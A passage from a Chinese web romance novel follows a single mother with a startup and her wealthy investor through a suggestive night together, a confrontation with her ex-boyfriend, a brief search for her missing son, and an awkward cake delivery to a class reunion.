“谢谢你。”她轻声说,声音里带着一丝柔软。
陆璟栋没回头,只淡淡地说:“听人说你加班挺厉害。投资你倒是我的不是了,耽误了你照顾孩子。”
“还行,平常等孩子睡了就加班一会儿。”
“你要是再这么熬,我得考虑雇个保姆给你了。”他转过身,看着她,眼神深邃。
她愣住:“你又不是我什么人,操这么多心干嘛。”
话一出口,她就有些后悔,觉得语气太冲了些。
他起身,走到她面前,两人之间的距离倏然拉近,空气中仿佛有细微的电流流过。他眼神比平时都沉:“我做这一切都是为了你的项目进展,你别多想。”
话虽然这么说,但他眼底神色认真,带着一丝不容错辨的关心。
她喉咙动了动,说不出话,心跳也漏了一拍。
陆璟栋伸手,轻轻把她鬓边一缕散落的发丝别到耳后。他的指尖带着微凉的触感,若有若无地擦过她的耳廓,让她不由自主地屏住了呼吸。她告诉自己要清醒,可却因为他的动作,愈发感到腿都发软。
他盯着她,目光灼灼,一字一顿道:“我投资了你,并非这个缘由。你别担心。”话音他刻意顿了一下,那份“并非这个缘由”显得更加欲盖弥彰。
“原来如此。”她后退了半步,试图拉开一些让她感到心慌的距离。
“我说这些是想让你轻松点,你别误会我做的事情。”他强调“轻松点”,仿佛不仅仅是投资上的,还有别的什么。
“你这样我反而压力更大了。”她觉得不好好工作真对不起他的付出了。脑海里浮现出了收益率三个大字,声音低下去,“我要是收益不好,预感撑不住了,就告诉你,你后续的投资就别浪费了。”
“放心,合同已经签了。”他轻声说。
林无可眼睛红了一点,点了点头,什么都没说。
她确实比别人想得多,但放在心里去做就行,不必要跟他说。
她说的话她一定会做到。
“你什么时候回去?家里没什么可以招待你的。”她起身去冰箱里拿了一串晶莹剔透的红提子洗干净,倒了杯温水,一起递给他。
“你喝完我就回。”陆璟栋像什么都没发生过一样坐在沙发边,目光落在她身上,带着一丝她读不懂的深意,看她一点点把那碗汤喝完。
屋子里很安静,像藏了一层什么情绪,在暖黄的灯光下,悄悄发酵。
提子很甜,陆璟栋吃几个,慢慢地,有些犯困。
林无可低头喝完汤,准备送他走,却发现他靠着沙发睡着了。
他靠在沙发一角,手搭在小糯糯的毛绒熊上。呼吸均匀,睡颜安详,褪去了平日的冷硬,多了几分柔和,长长的睫毛在眼下投下一小片阴影。林无可起身,看着他,站了一会儿,没叫醒他。
她走过去,轻轻把沙发上的小毯子拉过来,盖住他的胸口。她的指尖不经意地擦过他覆在熊上的手背,触感像是像被开水烫了一下。
他身上淡淡的松木香气,无声地勾绕着她。
她下意识地屏住呼吸,动作微不可察地停顿了一瞬,关了灯。
她去浴室简单洗漱。拧开花洒,温热的水流哗啦啦地冲刷着地面的瓷砖,氤氲的水汽很快模糊了镜面。她看着镜子里自己微红的脸颊,想起刚才指尖擦过他手背的温度。那触感,让她心神不宁。
她闭上眼,那股淡淡的松木清香仿佛又萦绕在鼻尖,带着一丝若有若无的侵略性。她深吸一口气,试图将那份紊乱压下去,可身体却像被唤醒一般。
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关掉水,浴室里瞬间安静下来,水珠顺着脸颊滑落,却冲不散心底那份莫名躁动。
空气中只剩下她自己的心跳声,一声声地,在耳膜里被无限放大。
她穿好浴袍,回房间睡下了。躺在床上,她闭上眼,脑海里却不由自主地浮现出他熟睡的侧脸,以及手背上那短暂而清晰的触感。她翻了个身,心头仿佛有只看不见的猫爪,毛茸茸的,在心脏柔软处轻轻挠了一下。
夜里睡得迷迷糊糊,林无可听到了外面客厅轻微走动的声音,她吓了一跳,从床上弹了起来,而后又想起了陆璟栋在客厅,松了口气。
她下床,往外走,想问他什么时候走。
抬眼看到一个身影,陆璟栋已经走到了门边。男人的身影在光影里显得有些模糊,却更添了几分捉摸不透的危险。
“你醒了?”她轻声,声音带着一点刚睡醒的沙哑,“刚刚看你睡得熟,没叫你。”
她穿着宽松的衬衫,客厅没开灯,路灯的光打了进来,落在她锁骨上,扣子系得漫不经心,显得她身体的修长线条若隐若现,晃荡的小腿,映入男人的眼帘。
陆璟栋没说话,看了她几秒,走近一步,那股淡淡的松木香气瞬间将她包围。他抬手,指尖轻轻地划过她肩头垂落的布料,拉了拉:“下次记得系好。”
他的嗓音低沉,带着一丝不易察觉的沙哑,仿佛压抑着什么。
他动作极快,指尖没在她的肌肤上逗留。但对林无可来说,却感觉是慢动作,像一道电流,瞬间激起她心底深处最原始的颤栗。
客厅的木质清香萦绕不散。她感到一阵燥热,身体里沉睡的火苗都像被唤醒了般,微微发烫。
她没动,仰头望他,眼神里带着一丝试探:“好,天气确实凉了。”
陆璟栋垂眼盯着她的眼睛,目光深沉,像深夜的湖水,望不见底。沉了两秒,他才开口,声音更低了几分,像是从喉咙深处逸出:“不该从这开始。”
他指代未明,看似守礼,但让人觉得危险又撩人。
林无可站在原地,望着他,没说话。
陆璟栋还站在门边,那句“不该从这开始”声音低哑,落地后却更烫人。
她忽然笑了,笑得没什么力气:“那你走啊。”
男人似乎被她的反应惊住了,目光落在她脸上,眉眼深沉,仿佛压着千钧重的情绪。
林无可缓缓走了过去,走到他面前,一步,半步,然后抬头看他,眼里水光未散。
她轻声说:“你都说不该了,还站在我门口做什么?”
陆璟栋像是终于被这句话拉断了最后一根弦,他伸手,把她拉过去,摁在门上,低头,额头贴上她的,轻声喘了一口气:“林无可,你比我想象的大胆多了。”
空气中的一室暖香,让她记忆似乎回到那了潮湿的春天。
其实,她确实比他想象的大胆多了。
她没说话,只是抬手握住了他的手腕,像默许。
她的手有些凉,圈住了他的手腕,激得男人手轻轻颤动了一下。
8. Chapter 8 春潮
她忽然想到了几年前还没毕业时候的春天,那年的春天很潮湿。她和裴尧开始冷战。
他们即将毕业走向社会,裴尧因为她家境不好开始有意见。
她当时想到的办法,是和爷爷恢复联系。爷爷在京郊经营度假村,度假村几千亩,生活优渥。但爷爷在她爸爸离世后,就一直避而不见。
五一,她去爷爷的度假村找爷爷想和爷爷和好。爷爷这次也一样不想见她,把度假村交给经理打理,自己出去旅游了。
经理不知道怎么处理她,只让她留在度假村帮忙,在餐厅里端端盘子。不过,经理把最好的几间套房之一留给她了。
那一晚,雷雨交加,度假村的电力突然中断。经理去打开备用发电机。她回套房等,进了卧室,她撞进一个温热而坚硬的怀抱。男人身上带着雨水的清冽和一种木质香气。
裴尧一直喜欢木质香水,她让前台留了房卡给他,是他来了。
爷爷不想见她,她想留住裴尧,除了她自己,似乎她已经没有什么别的可以利用。
那一夜,在无边的黑暗和骤雨声中,她只记得他木质香气的呼吸和低沉的呢喃。第二天,她醒来,裴尧已经回工作室了,他一直在创业很忙。
京郊的顶级套房,价格不菲,也算是证明她有个有钱的爷爷。她放下心来。
她本以为瞒着裴尧爷爷避而不见的事情,两人能推进到结婚。
没想到,怀孕后,裴尧并不想要,并且说早就跟她分手了。
她独自生下了糯糯。
-
此刻,男人身上熟悉的香气,让她回想起那个雨夜。
下一秒,他吻住她,往日的高冷不见踪影,动作比以往任何时候都急迫。
“我本来就很大胆,之前只是公司资金短缺,就像鱼儿没了水。”她没推他,只是在黑暗里轻轻抓住他后颈的那块布料,指尖发颤。
“那你现在有了水了?”他的手指轻轻拨开她肩膀的布料。
闪着光泽的丝绸落在了地上。
“要看你的投资是否足够大。”她说。
陆璟栋身上的香气笼罩了她:“如你所愿。”
-
糯糯在卧室睡了,两人没开灯。
风吹过帘子,月光落在沙发角,只有彼此靠近的呼吸声,越来越深。
林无可好多年没经人事,男人又精力旺盛。
不知过了多久,她只觉浑身酸痛,男人抱她去浴室清理,而后送她回卧室。
糯糯睡在小床上,还沉睡着。
他站在糯糯的小床边,站了良久。
而后,他回头盯着她,轻声问:“糯糯和我长得还挺像,嗯?”
林无可心跳漏了一拍,她现在才意识到,糯糯撞脸了陆璟栋。
裴尧和陆璟栋长得其实还挺像的,只是陆璟栋的鼻梁更高,裴尧眼睛更带桃花。
她想到了那个雨夜,迟疑了一下:“没有吧。”
林无可开始在心中猜测他是否曾经出现在度假村。虽然不确定糯糯和陆璟栋有关系,但她也不敢冒险,即使孩子是陆璟栋的,她也不想承认,以避免孩子被抢。
他唇角微微勾起:“我说有,就有。”
林无可一愣,忽然明白过来,原来一开始他投资她就是因为糯糯和他长得有几分像。毕竟,糯糯已经长开了,像不像很容易分辩。
说完,他转身,带上卧室门。
而后,防盗门被人带上了,传来清晰的“咔哒”一声,隔断了室内的木质暖香与室外的夜色。
她忍不住拉开窗帘,从玻璃往下看。
窗外下起了细雨,路灯将他的身影拉得很长,即便只是一个背影,也透着清寂。她目送着那道身影,脑海里不由自主地浮现出他熟睡时柔和的脸部线条。
他上了车,很快,楼下传来车子发动的声音。
一辆黑色的车子拐了一个弯,尾灯闪烁了一下,便消失在沉沉的夜雨雾气中。
林无可,几乎是立刻就下了决定,不管孩子是谁的,抚养权都只能是她的。三年半前的那个夜晚,她绝对不会提。毕竟,她没有什么势力,去母留子很多豪门也不是做不出来。
第9章秋
第二天,清晨的阳光透过薄雾,显得有些无力,空气中带着雨后特有的湿冷。
林无可喊糯糯起床的时候,发现他发低烧了。
林无可打电话给老师请了假后,又向创业伙伴赵珊告了假,自己也请了一天假,在家办公兼照顾糯糯。她心里有些焦躁,但面上不显,依旧有条不紊地安排着一切。
糯糯生病的事情,她没跟陆璟栋说,免得他多想,也或许是潜意识里,她不想轻易去依赖。
她家边上就有一个社区医院,规模不大,但胜在便捷,她带了糯糯过去。
开完药后,她推着糯糯的儿童推车,准备回家。
医院门口的银杏树下,金黄的叶子落了一地,像铺了一层柔软的地毯。几只小麻雀在落叶间跳跃觅食,偶尔发出几声清脆的鸣叫。
她把车子推出医院门口,外面地面潮湿,推车的轮子在湿漉漉的地面上碾过,发出细微的声响。
迎面,突然出现一个男人的身影。
裴尧像从地底下冒出来一般,挡住了她的去路。
他穿得一身光鲜,与这略显萧瑟的街景有些格格不入,拎着一个精致的保温袋,目光像毒蛇般缠绕在她身上,语气熟稔得像是他们从没分开:“我今天来看朋友,刚好做了粥,没想到碰到糯糯,想给他送一点。”
林无可顿时如坠冰窖。
林无可压住内心的情绪,不动声色地将糯糯的推车往后拉了半步:“他不认识你。”
“我是他亲爸,怎么不认识。”他看她,嘴角是挑衅的笑容,“你就一点机会都不给我?”
“机会?”她笑了一下,笑容却未达眼底,带着一丝冷意,“我俩早就分手了,糯糯和你没关系。”
“我没想到你会把孩子留下来,我现在也很难,你看我以后也不好找了——”裴尧的语气里带着委屈和自辩,却更让林无可觉得荒谬。
话没说完,被她打断:“我说了很多了遍了,糯糯和你没关系。不好找是你自己的事情,当初你攀高踩低,嫌我家境不好。那别人嫌你不也正常。”
裴尧的脸色挂不住,英俊的五官也因此显得有些扭曲,手指收紧了袋子,低声说:“你一个女人带孩子,挺不容易的,我知道。但你不能这么拒绝我关心他,我想提醒你,你把孩子留在自己身边,是在害他。”
林无可瞳孔微缩,眼神一冷:“你凭什么这么说?”
她指甲深深抠进掌心,几乎要掐出血来。单亲家庭和别人不一样,她知道,但不想听裴尧点出来。
“你觉得你能给他一个正常的家庭?”裴尧慢慢说,声音里带着一丝残忍的笃定,“你不如把他给我,我以
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后结婚了,会带好他。”
“你脑子坏了吗?”林无可骂道,声音因愤怒而有些颤抖。
“怎么骂人呢?傍上陆璟栋了?那种人,能看得上你?”裴尧继续说,语气中充满了不屑与嘲讽。
她正要回击,身后不远传来一个声音,带着几分戏谑,却也解了她的围:“林无可?挺巧的啊,我刚好来这边体检。”
她猛然转头,看见一个穿休闲西装的男人,身材高挑,眉眼间带着几分玩世不恭的笑意,正站在不远处的另一棵银杏树下。
是陆璟栋的发小,季乘。他和陆家人都很熟。
她在创业园的时候,和季乘见过一面,对方家境优越,好像也参股了陆璟栋的公司,所以才会出现在创业园。他是个在圈子里颇有些名气的花花公子,却又不是草包,在投资标的选择上,颇有几分眼力见。
季乘看看她,又看看裴尧,像看热闹似的挑了下眉:“这是…在这儿见前夫呢?”
林无可眉头紧锁,不知道季乘是什么意思,但直觉他并非善意:“我们没结过婚。”
“啊,不是前夫,”季乘自言自语,声音不大不小,却刚好能让周围的人听见,“你们连婚都没结啊!小孩是你自己一个人养的?”
林无可只觉得太阳穴“突突”地跳,胸口也堵得慌,根本没心力回应。
季乘却没走,反而越看越有趣:“你这边的故事,听汪晴那边提过一点。”
她抬头,声音不大,却带着一丝冷意与警惕:“你什么意思?”
“没什么意思。”季乘耸耸肩,笑容里带着一丝高深莫测,“想提醒你,有些圈子,是不太喜欢这种‘复杂背景’的女人掺进去的。”
“就是,你听到没?林无可,我看你不如把糯糯给我养吧。”裴尧听言,跟着打压。
林无可站在原地,手指僵着,一句话都说不出来。季乘的话像一把钝刀,一下下割在她心上,让她感到一阵阵的愤怒:“闭嘴。”
林无可并非一直软弱,之前创业没融到资的时候,有点怀疑自我。但最近融资顺了后,手下也多了几个员工,她也恢复了不少原先的利落。
“糯糯,这就是糯糯?”季乘目光落在了糯糯身上,嚯,这不活脱脱一个小陆总吗。他看了一眼裴尧,目光中突然带了几分不确定。林无可的前男友,长得还挺像陆璟栋的替身的,嘿哟,有意思了,“这小朋友挺可爱啊,林无可你养的不错,可不能给你前男友。”
说着,他吊儿郎当地给吹了下额头的碎发,挡在了林无可面前。
裴尧的脸已经开始黑下来:“你什么意思?我可是孩子爸爸,你凭什么挡我。”
“这不是京大高材生吗?你什么时候成孩子爸爸了?不是一直在搞科技创业吗?正在找圈子里的朋友拉投资。”季乘冷冷一笑,看了一眼他手里的粥,“瞧你那穷酸样,你怎么可能是这么可爱的宝宝的爸爸。”
裴尧:…
季乘三言两语就点出了裴尧的背景,他自然是不敢再多争执。
糯糯听到大人吵架,小嘴一瘪,哇的一声哭了出来,打破了这僵持的局面。
季乘立刻面色一变,脸上的戏谑瞬间收敛,换上一副手足无措的表情,连忙凑过来:“糟糕!小陆宝宝哭了。对不起,叔叔错了。”
他语速很快,但他喊糯糯小陆,林无可听出来后,身后忽然出了一层冷汗。
一阵危机感笼罩在她心头。
9. Chapter 9
这人是陆璟栋的朋友都看得出来,那陆璟栋自己呢?
她忽然想到了那天在创业园路演,陆璟栋看到她怀里的糯糯,然后投她。
想到陆璟栋昨晚提到糯糯像他的戏语。
她觉得自己似乎要和陆璟栋拉开距离了,包括他身边的所有人。
她冷声说:“你离远点儿,我和你不熟。”
季乘挠挠头:“哎呀,我不是那个意思。我送你回去吧,不然璟栋肯定要说我了。”
“不用了。”林无可扭头就走,她不想再和这两个男人有任何纠缠。
林无可推着糯糯就走。
她家离医院并不远。
很快就到了家门口,季乘一路小跑过来,追上了她,一直跟在后面,像个甩不掉的尾巴:“你前夫…不对,呸呸呸,被一个女的带进医院了,好像是看望那女的家人,看起来他已经找了新对象啊。”
她家的门禁刚好被人用砖头挡住了,季乘一直跟到门禁那。
“你干嘛跟着我?”林无可根本不想听,虽然这人刚刚维护她,“我要报警了。”
“我帮你抱孩子上楼吧。”
林无可往电梯间走去,没想到电梯间正在维修,上楼还挺累的,她家在六楼。
林无可还没反应过来,季乘已经凑了过来,把孩子从推车里面抱了起来,没忍住又多看了两眼:“啧啧,像啊。”
林无可没搭话,也实在没力气再和他闹腾,没和他抢着抱糯糯。
林无可收了轻便型推车,放在了楼梯口,打算等电梯好了再来拿。
季乘把孩子抱到了门口。
这人可真奇怪,她心想。前一刻还尖酸刻薄,下一刻却又主动示好,让她完全摸不着头脑。
进了门,他没跟过来,下楼离开了。
她把糯糯哄睡后,外面传来敲门声,很轻,带着试探的意味:“我买了点东西给小陆。我今天瞎说的,你可别告状。”
林无可推开门,季乘已经转身下楼了,听见她开门,笑了一声,那笑声在空荡的楼道里显得有些诡异。
林无可发现门把手上挂着不少进口水果,包装得很精致,他刚去边上超市买的。
墙边还靠着糯糯的推车。林无可扶额,他倒是好心,但是要是电梯没好,她还真不方便把推车拿下去。
-
下午的时候,糯糯好多了,小脸蛋上恢复了些血色,也能自己下床玩玩具了。
陆璟栋来送她一份资料,来了家里。
他今天比平时表情更沉,周身都散发着一股低气压,她敏锐地察觉到了。
“你怎么了?”她问。
他看了她一眼,语气平稳:“你今天见裴尧了?”
她一顿:“嗯,他突然出现在医院门口,我没想到。”
“季乘也在那里。”
她喉咙动了动:“他说了什么?”
陆璟栋没回答,反而慢慢靠近她两步,高大的身影在她面前投下一片阴影,带着独有的压迫感:“季乘他让我来看看你,他今天脑子转不过来,拿这件事说你复杂,要向你道歉。”
林无可看着他的眼睛,她已经决定要远离他。
最好的办法是,表演发疯,然后推开他。
“我确实很在意。”她声音低下去,像泄了气的皮球。
“我们圈子里面像你这样的情况确实不多,他大惊小怪,别理他。”他这句话本来是宽慰。
林无可的脸色一下子白了,像是被人兜头浇了一盆冷水,从头凉到脚:“你这是什么意思?”
陆璟栋意识到自己说错话了:“我…”
林无可咬牙,声音里带着压抑不住的怒火与失望:“我和孩子的父亲,我们没结婚,很奇怪对吗?我不是空白一张纸,带着一个孩子,很丢人对吗?”
他沉声道:“这都是你自己说的。”
“你是不是一样觉得,我确实不够干净?确实,昨晚发生的一切,怎么都不像正经人做出来的。”
“如果我这么想,昨晚就不会碰你。”
林无可作出伤心的样子,仿佛最后一点力气压垮了:“你下次送材料,让人直接送到创业园我办公室就行,别来了。”
接着,她声音里带着一丝疲惫和决绝:“如果你对我好,是因为同情,我不需要。”
“林无可,”他开口,声音沙哑,“别这样,我今天来,不是同情,是……”
“那是什么?是昨晚的交换?”
陆璟栋上前一步,将两人之间那点距离彻底抹平,然后微微俯身,灼热的呼吸拂过她的耳畔,低声诱哄:“别说这种话,嗯?”
“你是我创业项目的投资人,我自然不会自作多情。发生成年人的事情,我也没想你负责。我跟家里也说过了,孩子长大之前,我也不会考虑自己感情上的事情。昨晚发生的事情,就当没发生过。”
她说着,眼泪无声地滑落,打湿了脸颊,伸手推他出去。
男人本来就站在玄关处,被她轻轻一推,连忙说:“你别哭。”
“我不知道自己哪里做错了,但知道,只要裴尧那个前男友还时不时出现,就有人会看不起我,不管多努力,多保护孩子。这个世界对我的恶意,都很重。”林无可很顺利地把他推出去,把门砰地关上。
门关上的那一刻,林无可蹲下身,抱住了自己。死死把门顶住了。
她感觉自己演的挺好的。那种被误解的感觉,她其实早已经走过来了,现在的她没那么在意,刚刚都是表演的伤心欲绝。
只是,她忽然想到了,就这么赶走陆璟栋,她的投资岂不是要黄了,她之前创业路演总没人听,还挺命苦的。她不要那么命苦了啊。
窗外风很大,呜呜地刮着,像是在为她的命苦哭泣。她才想起自己忘了关窗了。
糯糯在床上睡觉,盖着一层薄被子。她连忙走了过去,把窗子关上,一低头发现陆璟栋就站在楼下,像一尊沉默的雕像,看着这边,久久没有离去。
她轻轻地关上窗子,就这样吧,两人还是保持距离比较好。
看着糯糯的睡颜,她坚定地想,糯糯只能是她一个人的。
第10章秋(改)
第二天,糯糯已经退烧了,精神也恢复了不少,只是还有些恹恹的,不爱说话。
她又在家请假照顾了糯糯一天。
傍晚的时候,糯糯已经活蹦乱跳,缠着她要出去玩。
她带糯糯去楼下小区花园里玩会儿。夕阳的余晖给小区镀上了一层温暖的金色,孩子们在滑梯和秋千上嬉笑打闹,充满了生活气息。
她创业业务繁忙,即便是在陪孩
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子的时候,手机也响个不停。
这时候,合伙人赵珊打来了电话。
她接了一个电话,走到一旁的长椅坐下,一时间聊得入神了。
她蹙着眉,认真地和电话那头讨论着项目细节,完全没有注意到时间在一点点流逝。
林无可打完电话后,站在小区绿化带旁,发现小糯糯不见了。
她把手机捏在手里,指节泛白。
秋风吹过,卷起几片落叶,带着一丝凉意。
她眼神在四周的灌木、滑梯、围栏来回扫,没发现糯糯,顿时脸上血色褪尽,一片惨白。
“糯糯——”她声音发哑,压着恐惧地喊了一声,那声音在空旷的小区里显得格外微弱和无助。
没有回应。
她脑子里已经开始飞快模拟最坏的可能,她怕极了。心脏像是被一只无形的手紧紧攥住,几乎要喘不过气来。眼前阵阵发黑,双腿也有些发软。
她赶紧在四周寻找,一边找一边喊,声音带着无法掩饰的颤抖。她的身影在小区里踉跄地穿梭着。
而同一时间,陆璟栋刚好在附近下车。
刚刚应酬散场,车从她家小区旁经过,他跟司机随口报了地址,说要下来透透风。
结果刚拐进小路,就看见她一个人站在小区的自行车棚子附近,脸色惨白,嘴唇也毫无血色,像是下一秒要倒下。
他没说话,快步走过去。
“林无可。”他唤了一声,声音不复往日的沉稳,带着急切与担忧。
她猛地抬头,眼圈红着,布满了血丝,声音几乎要破音:“糯糯不见了,我接了个电话,他刚还在我身边的草地上,突然就找不到他了!”
她情绪快崩了,站着却像随时可能倒下,身体微微摇晃着,仿佛一阵风就能把她吹倒。
陆璟栋沉声道:“你先冷静。他平时最爱去哪儿?”
他的声音像一剂镇定剂,让她混乱的思绪有了一丝清明。
“滑梯,小卖部。我都找了。”
“你刚刚打电话在哪?”
“那边。”
“我们过去,你站那别动。我去找。糯糯可能回来找你。”他语速平稳,目光坚定。
那一瞬间,林无可像是终于抓住了什么救命稻草,但她没再多说,只用力点了点头,眼泪却不争气地涌了上来,模糊了她的视线。
她回到了原地等待,每一分每一秒,都像一个世纪那么漫长。
十分钟后。
她正心急如焚,手脚冰凉,几乎要绝望的时候,就看见陆璟栋牵着糯糯的手,从后排楼的围栏拐出来。夕阳的余晖将他们的身影拉得很长,像一幅温暖的剪影。
“糯糯刚刚躲在垃圾桶后面呢。”陆璟栋开口解释。
糯糯两只手捧着什么,小脸上带着一丝得意,开口说:“我跟着小猫猫走了一下,它一直往前,然后藏在小卖部的垃圾桶后面啦。”
林无可冲过去,抱住孩子,却没说话,双肩剧烈起伏,眼泪一下子掉下来,滚烫的泪水打湿了糯糯的肩头。
她知道不能在糯糯面前失控,但身体还是忍不住的颤抖。
陆璟栋站在一旁,没有说话,只默默低头,蹲下来,从口袋里掏出一包纸巾,递过来。
他的动作很轻,带着一种无言的安慰。
10. Chapter 10
她接过纸巾,哑声说了句:“谢谢。你怎么来这儿了?”
她的声音还带着哭腔,格外脆弱。
陆璟栋低声道:“刚好路过。”
她把糯糯怀里的那只瘦弱的小猫咪放在了地上,才抬头:“那也不会路过这个小区里面吧?”
“昨天你太激动了,我不放心,过来看看。”
林无可愣住了,原来他是想看她昨天发疯后,冷静下来没有。
林无可站起身,两人没有靠得很近,也没有刻意疏远。
她再像之前那样演戏,推开他,似乎行不通。
秋日的傍晚,风吹得树叶轻轻响着,带着一丝凉意,空气中弥漫着淡淡的青草和泥土的芬芳。孩子蹲下身子,轻轻抚摸小猫。
她没提昨天的事情,声音里带着一丝自责和沮丧:“刚赵珊打电话来说联系商超铺货的事情,我没顾上糯糯,你是不是觉得我特别不称职。”
他看着她,眼神深邃,像一潭幽深的湖水,说:“你太想让一切都好,反而把自己逼得太紧了。商超铺货的事情,你别着急。”
“可你不是我,我不逼自己一点不行,我没有退路。现在盲盒主要是网上销售,我想铺到线下。”林无可想要以后带糯糯去逛超市,也能看到自己公司的产品,而且要摆在货架最明显的位置。
“你垮了,谁替你撑着公司还有家里?”他的话像一把钥匙,打开了她心中某个紧锁的角落。
“我不会垮的。”
陆璟栋声音多了一份严肃:“你总是想一个人把所有事扛完,有点危险。”
这时候一只大猫从旁边的灌木丛中钻了出来,把小猫叼走了。
“妈妈,小猫被妈妈带回去了。”糯糯说,小脸上带着笑容。
“糯糯也跟妈妈回家。”她说。
“那叔叔呢?”糯糯问,仰着小脸,眼神里充满了不舍。
她看他一眼,替他回答:“叔叔还有事。”
他把她俩送到楼下。
“叔叔再见了。”糯糯依依不舍。
“乖乖听话,以后可不能乱走,你妈妈吓坏了。”陆璟栋摸了摸糯糯的头,动作轻柔,眼神里带着温柔。
而后,他蹲下身,替糯糯理了理背带裤的带子,像做过无数次一样自然。
他站起身,目光落在林无可脸上:“上去吧,风凉。”
他转身要走。
“陆璟栋。”她忽然开口。
他回头,眉眼在昏黄路灯下,像落了淡淡的烟火气。
她语气轻,像是试探:“你如果有孩子,应该会是个好爸爸。”
他微微一怔,只是低头笑了下。
“你不冷吗?”他忽然问,“没穿外套就下来了。”
“有点,本以为就带糯糯玩一会儿。”她低声回答。
他走回来一步,把自己披着的毛呢大衣脱下来,搭在她肩上。
“别感冒了。”他说,“糯糯还等你照顾。”
她站在原地,没有动,大衣落在肩上,带着淡淡的松木香气。
她盯着他渐渐远去的背影,心里忽然安静了下来。
她忽然觉得他如果是糯糯的爸爸,也未必会那么坏想要抢走糯糯。
晚上回家,小糯糯睡得很沉,小脸上还带着满足的笑意。
林无可收拾完东西,坐在沙发边,看着手机屏幕发了会儿呆。
那条对话框最后一条,是昨天道歉的那句:【抱歉我今天说错话了。】
她指尖停在输入框上,想了半天,最后只回了一句:【今天谢谢你。】
一分钟后,对方回复了:【晚上早点休息。】
她盯着那行字看了很久,最后把手机扣在桌上,靠进沙发。
窗外风还在吹,屋里静得像什么都没发生过。
第11章秋
陆璟栋原本不想来同学会这个局。
高中同学会的消息,在群里反复@了他一周,连带着当年的班主任都出面邀请了几次,毕竟陆家的产业以后很有可能是陆璟栋继承。而且这些同学里面属他发展最好,不像别人大部分都是承家里余荫。
最后还是发小季乘打电话:“你再不来,下次凑这么多人,就是我孩子满月酒了。”
“我记得你还没结婚。”陆璟栋的语气一如既往的平静无波。
“你要是再不给面子,我为了让你来,说不定就真找个人闪婚了。”季乘在电话那头哀嚎。
陆璟栋没再推,想了想,答应了下来。他并非喜欢热闹,只是这些高中同学,多少有些背景,有些情面他去一趟更好说话,特别是他想到了林无可的产品需要铺货,便不一再推掉这个局。
林无可那摊生意,她还挺在乎的。
这次有个同学,家里在南方有家大型商超。他家原本在京市的,没想到商超总部搬去了南方深市,做得更大了,是全国前几的商超。
若是能帮林无可打通关系也好。
饭局定在城南一家新开的私人会所,就在创业园附近,名字叫“檐”,听起来颇有几分雅致。布置得挺浮夸,一进门就能看见一整面墙的限量白兰地和各种年份的红酒,显然是有人刻意挑的面子场。
进了包厢,他在圆桌子边上一个相对安静的角落坐下不到五分钟,周围人已经开始轮番调侃。
“陆总现在是资本圈里的大金主了吧,听说旗下创投基金投人要看脸?”一个娃娃脸的男人端着酒杯凑过来,脸上带着熟稔的笑,正是这次陆璟栋想要拉拢的对象,河马商超的继承人徐睿之。
“你别说,他前阵子确实盯上一个长得不错的单亲妈妈。”另一个声音接茬起哄,语气暧昧。
“哎哟,真的假的?这么有爱心?”徐睿之接了一句。
陆璟栋没说话,只掀了掀眼皮,看了那个起哄的人一眼,眼神淡漠,却带着一丝不易察觉的冷意,让那人瞬间噤声。
季乘这时候适时地打圆场,拍了拍那人的肩膀:“知道是陆总,你还敢嚼舌根,不怕他撤你项目?”
那人尴尬一笑。
大家都笑了,气氛热闹得有些虚浮,像浮在水面上的泡沫,一戳就破。
陆璟栋低头喝了一口茶,温热的茶水滑过喉咙,掩住眼里那点微不可查的不耐烦。
-
“帮我送个蛋糕过去,就在那家‘檐’会所,五点半前送到。”
中午十二点,林无可在创业园新认识的朋友,一个在做手工烘焙店的老板,让她帮个忙。
糯糯喜欢吃小蛋糕,她经常从门口这家蛋糕店带。
老板是个和善的中年女人,听说她有孩子,送了她几次小蛋糕,有时还会多给糯糯几块刚出炉的饼干。
今天,她照常去买小蛋糕。
刚巧送货的店员临时请假,有个客户中午定的蛋糕送不过去。
“我真走不开!”老板快哭了,一边手忙脚乱地接着新的订单电话,一边恳求地看着她,“你就跑一趟,求你!这个下单的来头挺大,得罪不起。”
“你不能让送外卖的送过去吗?”
“可以是可以,但是蛋糕难送,他们赶时间之前几次都碰了。”
林无可本来不太想掺和,她下午还有工作要处理,但这老板对她不错,平日里也多有照顾,私厨的地址不远,也确实没什么非推不可的事。
于是,林无可亲自提着包装精致的蛋糕盒,进了高级会所的包间区。
门推开的瞬间,她愣了一下。
圆桌围坐着一圈人,衣着讲究,笑声正浓。陆璟栋坐在正中,他今天穿了一件深蓝色的衬衫,一件灰色羊绒马甲,袖口随意地挽到小臂,露出一段线条流畅的手腕,与周围喧嚣的环境相比,他显得格外沉静。
他身边刚好有个女生弯腰给他倒酒,她穿着剪裁得体的香槟色连衣裙,手腕上戴着一串名贵翡翠,在灯光下闪烁着温润的光泽。
那女人抬头看向她,时间像是停了一秒。林无可低下头,避开
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了那道让她有些不自在的目光。
她穿着一件米白色风衣,里面是简单的白色T恤和牛仔裤,发尾还有些凌乱,手里提着印着logo的蛋糕盒,站在门口,有些局促又礼貌。
“林……?”陆璟栋也看到了她,声音带着一丝惊讶。
林无可却只轻轻一笑,抬手打断他,语气平稳,仿佛只是一个尽职尽责的送餐员:“不好意思,打扰了。”
她转头对靠门那位男生说:“这份水果蛋糕是汪小姐订的,请打开检查。”
“哦,好的。”男生接过,并没不知道她是谁,只当是普通的外送。
季乘凑过来,把蛋糕打开。
汪晴走了过来瞧了瞧蛋糕,皱了皱眉:“草莓的位置有点移动啊,蛋糕都丑掉了。”
“天然草莓,大小不一,不可能完全一样位置。”林无可看了一眼蛋糕,立刻回怼,她戴了店里送货的头盔,汪晴没认出她。
“你觉得呢?陆总?”汪晴望向了陆璟栋,声音娇嗲,一副白莲花的样子,带着刻意的亲近。
陆璟栋没理会汪晴,甚至连眼皮都没抬一下。
汪晴拿出手机要给林无可拍照:“我拍一下你和蛋糕照片,回头发给老板投诉。你把头盔取下来。”
林无可火冒三丈,但为了好评没说话。
汪晴凑过来要动手,林无可只能自己取下头盔。
“林无可!”季乘大喊了一句,语气里满是惊讶,“你怎么在送蛋糕?”
“朋友让我帮忙送。”她解释道。只要她不尴尬,尴尬的就是别人。
“蛋糕很完好。”季乘拿出刀开始切,一刀下去就是确认收货了。
汪晴想要阻拦他切蛋糕,看着寒光闪闪的刀子,终究是退缩了。
林无可这下放心了,季乘这家伙还算识趣。
她又说了句“麻烦在小程序确认收货”,便转身走了。
整个过程干净利落,没有一句多余的话,像一阵风吹过,不留痕迹。
陆璟栋没有追出去。
